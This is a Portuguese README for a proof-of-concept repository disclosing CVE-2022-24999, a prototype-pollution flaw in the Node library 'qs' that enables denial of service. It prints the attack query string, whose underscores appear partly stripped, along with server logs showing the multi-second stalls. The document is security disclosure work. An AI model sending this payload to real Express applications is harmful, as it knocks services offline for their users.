
"qs" vulnerabilidade de envenenamento de protótipo ( CVE-2022-24999 )
Este repositório contém amostras de exploits da vulnerabilidade que encontramos na biblioteca JS "qs" em dezembro de 2021.
Versões vulneráveis do "qs" permitem criar propriedades "proto" nos objetos JS de saída.
Ao definir um Array na propriedade "proto", conseguimos criar objetos "semelhantes a arrays".
Como os objetos resultantes herdam o protótipo "Array", eles expõem as funções nativas de Array.
Mas como ainda são Objetos, o "qs" permite definir a propriedade "length" neles.
Como exemplo, o seguinte payload criará esse tipo de array "maligno":
categories[_proto__]&categories[_proto__]&categories[length]=100000000
Assim, definir um valor de "length" irracional neles congelará o processo node assim que ele tentar convertê-los para valores de string ou ao chamar a maioria das funções nativas de Array.
Isso expõe qualquer aplicação Node que use uma versão vulnerável do "qs", com a configuração padrão do Express e sem um sistema de validação forte, a ataques DOS aplicativos.
Aqui estão logs de exemplo do poc em ./express-qs-string-bomb :
Send payload : someString[_proto__]&someString[_proto__]&someString[length]=100000000
[server] Received params { someString: Array { length: '100000000' } }
[server] Run someString + 0
[server] someString + 0 : 6.364s
[server] Run someString == "123"
[server] someString == "123" : 6.387s
[server] just write `Got ${someString}`
[server] just write `Got ${someString}` : 6.397s
Nossa análise também nos permitiu ver que outros modos de exploração eram possíveis.
Descrevemos alguns deles no diretório ./qs-vulns.
BRAUN Nathanael & BRISSAUD Johan
Para EY Security, França